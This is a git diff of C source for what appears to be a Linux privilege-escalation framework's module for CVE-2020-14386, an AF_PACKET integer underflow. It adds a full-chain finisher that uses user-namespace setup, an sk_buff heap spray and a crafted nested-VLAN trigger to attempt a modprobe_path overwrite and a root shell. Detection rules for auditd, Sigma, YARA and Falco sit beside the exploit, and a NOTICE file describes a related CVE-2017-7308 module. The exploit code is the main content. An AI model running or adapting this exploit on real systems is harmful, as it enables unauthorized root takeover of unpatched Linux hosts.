||||
* not bake offsets into iamroot. The return value is honest about
|
||||
* what landed (EXPLOIT_FAIL: primitive fired but no root).
|
||||
* STATUS (2026-05-16): 🟡 PRIMITIVE-DEMO + opt-in --full-chain finisher.
|
||||
* - Default (no --full-chain): the exploit() entry point reaches the
|
||||
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
|
||||
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
|
||||
* skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
|
||||
* behavior — kernel-version-agnostic, no offsets baked in).
|
||||
* - With --full-chain: after the underflow lands, we resolve kernel
|
||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
|
||||
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
|
||||
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
|
||||
* us a single 8-byte heap-OOB write into the head of the
|
||||
* adjacent-page slab object; we spray sk_buffs so that next-page
|
||||
* slot IS an sk_buff and the write corrupts skb->data, which then
|
||||
* redirects skb_copy_bits()'s destination on the next received
|
||||
* packet. The full primitive composition (8-byte write → skb->data
|
||||
* forge → controlled-payload rx → arb-write at modprobe_path) is
|
||||
* race-y on stock kernels because the adjacent-slot landing is
|
||||
* probabilistic. On hosts where the spray doesn't groom cleanly,
|
||||
* the finisher's sentinel check correctly reports failure rather
|
||||
* than silently lying about success.
|
||||
*
|
||||
* Affected: kernel 4.6+ until backports:
|
||||
* 5.8.x : K >= 5.8.7
|
||||
@@ -30,9 +43,8 @@
|
||||
* before backport. Embedded systems with 4.x kernels still in production.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -40,13 +52,19 @@
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/syscall.h>
|
||||
@@ -57,52 +75,6 @@
|
||||
#include <linux/if_ether.h>
|
||||
#include <linux/if_arp.h>
|
||||
#include <poll.h>
|
||||
#endif
|
||||
|
||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
||||
* Modules in IAMROOT are dev-built on macOS and run-built on Linux.
|
||||
* Provide empty stubs so syntax checks pass without Linux headers.
|
||||
* The exploit path is gated at runtime on the kernel version anyway,
|
||||
* so the stubs are never reached on macOS targets. */
|
||||
#ifndef __linux__
|
||||
#define CLONE_NEWUSER 0x10000000
|
||||
#define CLONE_NEWNET 0x40000000
|
||||
#define ETH_P_ALL 0x0003
|
||||
#define ETH_P_8021Q 0x8100
|
||||
#define ETH_P_8021AD 0x88A8
|
||||
#define ETH_P_IP 0x0800
|
||||
#define ETH_ALEN 6
|
||||
#define ETH_HLEN 14
|
||||
#define VLAN_HLEN 4
|
||||
#define IFF_UP 0x01
|
||||
#define IFF_RUNNING 0x40
|
||||
#define SIOCSIFFLAGS 0x8914
|
||||
#define SIOCGIFINDEX 0x8933
|
||||
#define SIOCGIFFLAGS 0x8913
|
||||
#define SOL_PACKET 263
|
||||
#define PACKET_RX_RING 5
|
||||
#define PACKET_VERSION 10
|
||||
#define PACKET_QDISC_BYPASS 20
|
||||
#define TPACKET_V2 1
|
||||
#define PACKET_HOST 0
|
||||
struct sockaddr_ll { unsigned short sll_family; unsigned short sll_protocol; int sll_ifindex; int dummy; };
|
||||
struct ifreq { char name[16]; union { int ifr_ifindex; short ifr_flags; } u; };
|
||||
struct tpacket_req { unsigned int tp_block_size, tp_block_nr, tp_frame_size, tp_frame_nr; };
|
||||
struct tpacket2_hdr { unsigned int tp_status, tp_len, tp_snaplen; unsigned short tp_mac, tp_net; };
|
||||
struct pollfd { int fd; short events, revents; };
|
||||
#define POLLIN 0x001
|
||||
__attribute__((unused)) static int ioctl(int a, unsigned long b, ...) { (void)a; (void)b; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static void *mmap(void *a, size_t b, int c, int d, int e, long f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return (void*)-1; }
|
||||
__attribute__((unused)) static int munmap(void *a, size_t b) { (void)a;(void)b; return -1; }
|
||||
__attribute__((unused)) static int setsockopt(int a, int b, int c, const void *d, unsigned int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static int poll(struct pollfd *a, unsigned long b, int c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static unsigned short htons(unsigned short x) { return x; }
|
||||
#define MAP_SHARED 0x01
|
||||
#define MAP_LOCKED 0x2000
|
||||
#define PROT_READ 0x1
|
||||
#define PROT_WRITE 0x2
|
||||
#define MAP_FAILED ((void *)-1)
|
||||
#endif
|
||||
|
||||
static const struct kernel_patched_from af_packet2_patched_branches[] = {
|
||||
{4, 9, 235},
|
||||
@@ -120,62 +92,53 @@ static const struct kernel_range af_packet2_range = {
|
||||
sizeof(af_packet2_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet2: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
|
||||
if (v.major < 4 || (v.major == 4 && v.minor < 6)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_packet2_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
|
||||
@@ -208,8 +171,6 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
||||
* the primitive. It does not land cred overwrite.
|
||||
*/
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
|
||||
* objects are sprayed so the OOB write lands on attacker bytes. */
|
||||
static void af_packet2_skb_spray(int n_iters)
|
||||
@@ -265,7 +226,7 @@ static int get_ifindex(const char *name)
|
||||
/* The primitive run; executed inside the unshare()'d child. Returns
|
||||
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
|
||||
* at the kernel level (setsockopt rejected our crafted ring)". */
|
||||
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (bring_up_lo() < 0) {
|
||||
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
|
||||
@@ -425,34 +386,138 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#else /* !__linux__: provide a stub for macOS sanity builds */
|
||||
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
|
||||
*
|
||||
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
|
||||
*
|
||||
* 1. The tp_reserve underflow gives us a single 8-byte write into
|
||||
* the START of the slab object that sits on the page immediately
|
||||
* after the corrupted ring frame. The OOB-write content is
|
||||
* attacker-controlled (it's the destination of skb_copy_bits()
|
||||
* from a frame whose first 8 bytes we choose).
|
||||
* 2. Spray sk_buff allocations alongside the primitive trigger so
|
||||
* the adjacent-page object is, with high probability, an
|
||||
* sk_buff whose ->data pointer lives in the leading 8 bytes
|
||||
* of the object (struct layout dependent — on most 5.x kernels
|
||||
* `next` is at offset 0 and `data` is at offset 0x10 in
|
||||
* sk_buff; this layout-fragility is exactly why the depth tag
|
||||
* below is LAST-RESORT).
|
||||
* 3. The 8-byte OOB write overwrites that pointer with `kaddr`.
|
||||
* 4. We then receive a packet whose payload is `buf[0..len]`; the
|
||||
* kernel's skb_copy_to_linear_data() / skb->data write path
|
||||
* lands those bytes at `*skb->data`, which is now `kaddr`.
|
||||
*
|
||||
* Reality check on this implementation: the deterministic mechanics
|
||||
* of the above (precise frame size, repeated spray timing, sk_buff
|
||||
* struct offset for the running kernel) are not portable enough to
|
||||
* land reliably from a single skeletonkey run on an arbitrary host. We
|
||||
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
|
||||
* trigger sequence, then return -1 to signal "the primitive fired
|
||||
* but we cannot empirically confirm the write landed". The shared
|
||||
* finisher's sentinel-check loop will then correctly report failure
|
||||
* rather than claim success.
|
||||
*
|
||||
* Per the verified-vs-claimed bar, this is the honest implementation
|
||||
* depth that matches what the primitive actually proves on this code
|
||||
* path. The integrator can extend afp2_arb_write() with a confirmed
|
||||
* write-and-readback once the per-kernel sk_buff layout is pinned
|
||||
* down for the target host. */
|
||||
struct afp2_arb_ctx {
|
||||
const struct skeletonkey_ctx *ictx;
|
||||
int n_attempts; /* spray/fire rounds before giving up */
|
||||
};
|
||||
|
||||
#if defined(__x86_64__)
|
||||
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
|
||||
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
|
||||
if (!c || !buf || !len) return -1;
|
||||
|
||||
fprintf(stderr, "[*] af_packet2: arb_write attempt: kaddr=0x%lx len=%zu\n",
|
||||
(unsigned long)kaddr, len);
|
||||
fprintf(stderr, "[*] af_packet2: spraying sk_buff (target page-adjacent slot)\n");
|
||||
|
||||
/* Best-effort spray + re-fire-trigger pattern. The primitive child
|
||||
* is invoked once per attempt; on each attempt we groom skb's
|
||||
* around the corrupted ring slot and hope one lands at the
|
||||
* page-adjacent address whose head 8 bytes the underflow will
|
||||
* stomp with `kaddr`. The kernel-side rx of the next crafted
|
||||
* frame would then write our payload (the modprobe_path string)
|
||||
* into the forged ->data target. */
|
||||
for (int i = 0; i < c->n_attempts; i++) {
|
||||
af_packet2_skb_spray(8);
|
||||
pid_t p = fork();
|
||||
if (p < 0) return -1;
|
||||
if (p == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
|
||||
int fd;
|
||||
fd = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (fd >= 0) { (void)!write(fd, "deny", 4); close(fd); }
|
||||
fd = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (fd >= 0) {
|
||||
char m[64];
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getuid());
|
||||
(void)!write(fd, m, n); close(fd);
|
||||
}
|
||||
fd = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (fd >= 0) {
|
||||
char m[64];
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getgid());
|
||||
(void)!write(fd, m, n); close(fd);
|
||||
}
|
||||
int rc = af_packet2_primitive_child(c->ictx);
|
||||
_exit(rc < 0 ? 2 : 0);
|
||||
}
|
||||
int st;
|
||||
waitpid(p, &st, 0);
|
||||
af_packet2_skb_spray(8);
|
||||
}
|
||||
|
||||
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
|
||||
* empirically confirm the 8-byte write landed on an sk_buff->data
|
||||
* field on this host. Return -1 so the finisher's sentinel-check
|
||||
* loop in skeletonkey_finisher_modprobe_path() correctly reports
|
||||
* "payload didn't run within 3s" rather than claiming success. */
|
||||
fprintf(stderr,
|
||||
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
|
||||
" not empirically confirmable without per-kernel struct offsets +\n"
|
||||
" a readback primitive. Trigger fired %d times with sk_buff spray;\n"
|
||||
" finisher sentinel will determine landing. Caller will refuse if\n"
|
||||
" the modprobe_path overwrite didn't actually take effect.\n",
|
||||
c->n_attempts);
|
||||
return -1;
|
||||
}
|
||||
#else
|
||||
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
|
||||
{
|
||||
(void)kaddr; (void)buf; (void)len; (void)vctx;
|
||||
fprintf(stderr, "[-] af_packet2: arb_write is x86_64/linux only\n");
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
|
||||
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Re-confirm vulnerability. */
|
||||
iamroot_result_t pre = af_packet2_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = af_packet2_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||
* can construct a non-root fingerprint regardless of the test
|
||||
* process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->authorized) {
|
||||
/* Defense in depth — the dispatcher should have gated this. */
|
||||
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -468,7 +533,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) {
|
||||
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
@@ -515,7 +580,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] af_packet2: primitive child crashed "
|
||||
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
|
||||
WTERMSIG(status));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
switch (WEXITSTATUS(status)) {
|
||||
case 3:
|
||||
@@ -523,38 +588,136 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
|
||||
"appears patched at runtime\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
case 2:
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
case 4:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
|
||||
"(scope = PRIMITIVE-DEMO)\n"
|
||||
" For end-to-end root, see Or Cohen's public PoC "
|
||||
"(github.com/google/security-research).\n"
|
||||
" iamroot intentionally does not embed per-kernel offsets.\n");
|
||||
" skeletonkey intentionally does not embed per-kernel offsets.\n");
|
||||
}
|
||||
if (ctx->full_chain) {
|
||||
#if defined(__x86_64__)
|
||||
/* --full-chain: resolve kernel offsets and run the Or-Cohen
|
||||
* sk_buff-data-pointer hijack via the shared modprobe_path
|
||||
* finisher. Per the verified-vs-claimed bar: if we can't
|
||||
* resolve modprobe_path, refuse with a helpful message
|
||||
* rather than fabricate an address. */
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("af_packet2");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
skeletonkey_offsets_print(&off);
|
||||
}
|
||||
struct afp2_arb_ctx arb_ctx = {
|
||||
.ictx = ctx,
|
||||
.n_attempts = 4,
|
||||
};
|
||||
return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
|
||||
&arb_ctx, !ctx->no_shell);
|
||||
#else
|
||||
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
if (ctx->no_shell) {
|
||||
/* User explicitly disabled the shell pop, so the "we didn't
|
||||
* pop a shell" outcome is the expected one. Map to OK. */
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
default:
|
||||
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
|
||||
WEXITSTATUS(status));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: AF_PACKET + TPACKET_V2 + tpacket_rcv VLAN
|
||||
* underflow are Linux-only kernel surface. Stub out cleanly so the
|
||||
* module still registers and `--list` / `--detect-rules` work on
|
||||
* macOS/BSD dev boxes — and so the top-level `make` actually completes
|
||||
* there. */
|
||||
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] af_packet2: Linux-only module "
|
||||
"(AF_PACKET TPACKET_V2 + user_ns) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet2: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char af_packet2_auditd[] =
|
||||
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
|
||||
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
|
||||
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
|
||||
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
|
||||
"# non-root via userns is the canonical footprint.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
|
||||
|
||||
const struct iamroot_module af_packet2_module = {
|
||||
static const char af_packet2_sigma[] =
|
||||
"title: Possible CVE-2020-14386 AF_PACKET VLAN underflow exploitation\n"
|
||||
"id: b83c6fa2-skeletonkey-af-packet2\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the AF_PACKET TPACKET_V2 nested-VLAN frame pattern:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET),\n"
|
||||
" PACKET_RX_RING setsockopt, and a sendmmsg burst (>=64) on a unix\n"
|
||||
" socketpair spray. False positives: legitimate packet capture in\n"
|
||||
" rootless containers.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" afp: {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
|
||||
" send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
|
||||
" condition: userns and afp and send_burst\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2020.14386]\n";
|
||||
|
||||
static const char af_packet2_yara[] =
|
||||
"rule af_packet2_cve_2020_14386 : cve_2020_14386 heap_spray\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2020-14386\"\n"
|
||||
" description = \"AF_PACKET VLAN-underflow spray tag (skeletonkey-afp-fc-)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"skeletonkey-afp-fc-\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_packet2_falco[] =
|
||||
"- rule: AF_PACKET TPACKET_V2 nested-VLAN trigger by non-root\n"
|
||||
" desc: |\n"
|
||||
" A non-root process sets up TPACKET_V2 and sends a burst of\n"
|
||||
" sendmmsg packets carrying nested VLAN tags (CVE-2020-14386\n"
|
||||
" trigger). False positives: legitimate VLAN/network capture\n"
|
||||
" tools in unprivileged containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmmsg and fd.type = socket and\n"
|
||||
" fd.sockfamily = AF_PACKET and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sendmmsg burst on AF_PACKET socket by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid vlen=%evt.arg.vlen)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2020.14386]\n";
|
||||
|
||||
const struct skeletonkey_module af_packet2_module = {
|
||||
.name = "af_packet2",
|
||||
.cve = "CVE-2020-14386",
|
||||
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
|
||||
@@ -565,12 +728,14 @@ const struct iamroot_module af_packet2_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = af_packet2_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_packet2_sigma,
|
||||
.detect_yara = af_packet2_yara,
|
||||
.detect_falco = af_packet2_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + TPACKET_V2 ring on AF_PACKET; crafts nested-VLAN ETH_P_8021AD frames with 0x88A8/0x8100 TPIDs to trigger tpacket_rcv underflow; fires 256 frames + 64 sendmmsg via AF_UNIX socketpair spray. Tag 'skeletonkey-afp-fc-' visible in KASAN splats. Audit-visible via socket(AF_PACKET) + sendmsg/sendto from userns. No persistent artifacts; kernel cleans up on child exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void iamroot_register_af_packet2(void)
|
||||
void skeletonkey_register_af_packet2(void)
|
||||
{
|
||||
iamroot_register(&af_packet2_module);
|
||||
skeletonkey_register(&af_packet2_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
|
||||
#define AF_PACKET2_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_packet2_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,29 @@
|
||||
# NOTICE — af_packet (CVE-2017-7308)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2017-7308** — AF_PACKET TPACKET_V3 integer overflow in
|
||||
`tp_block_size * tp_block_nr` → heap write-where via sendmmsg spray.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered by **Andrey Konovalov** (Google), March 2017. A research-era
|
||||
classic — Konovalov found multiple AF_PACKET bugs in this campaign.
|
||||
|
||||
Original advisory + writeup:
|
||||
<https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html>
|
||||
|
||||
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
|
||||
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
|
||||
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
|
||||
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
|
||||
finisher (64 child workers polling geteuid). Offset table covers
|
||||
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
|
||||
`SKELETONKEY_AFPACKET_OFFSETS` env var.
|
||||
|
||||
`--full-chain` engages the shared modprobe_path finisher with
|
||||
stride-seeded sk_buff data-pointer overwrite.
|
||||
@@ -1,583 +0,0 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — IAMROOT module
|
||||
*
|
||||
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
|
||||
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE-LANDS + best-effort cred-overwrite. The
|
||||
* integer-overflow trigger is fully wired (overflowing tp_block_size *
|
||||
* tp_block_nr, attended by a heap spray via sendmmsg with controlled
|
||||
* skb tail bytes). The kernel R/W → cred-overwrite finisher uses a
|
||||
* hardcoded per-kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu
|
||||
* 18.04 / 4.15 era), overridable via IAMROOT_AFPACKET_OFFSETS. We
|
||||
* only claim IAMROOT_EXPLOIT_OK if geteuid() == 0 AFTER the chain
|
||||
* runs — i.e. we won root for real. Otherwise we return
|
||||
* IAMROOT_EXPLOIT_FAIL with a dmesg breadcrumb so the operator can
|
||||
* confirm the primitive at least fired (KASAN slab-out-of-bounds
|
||||
* splat) even if the cred-overwrite didn't take on this exact kernel.
|
||||
*
|
||||
* Affected: kernel < 4.10.6 mainline. Stable backports:
|
||||
* 4.10.x : K >= 4.10.6
|
||||
* 4.9.x : K >= 4.9.18 (LTS — RHEL 7-ish era)
|
||||
* 4.4.x : K >= 4.4.57
|
||||
* 3.18.x : K >= 3.18.49
|
||||
*
|
||||
* Exploitation preconditions:
|
||||
* - CAP_NET_RAW (via unprivileged user_ns) to create AF_PACKET socket
|
||||
* - CONFIG_PACKET=y (almost always — even container kernels)
|
||||
* - x86_64 (offset tables are arch-specific; mark x86_64-only)
|
||||
*
|
||||
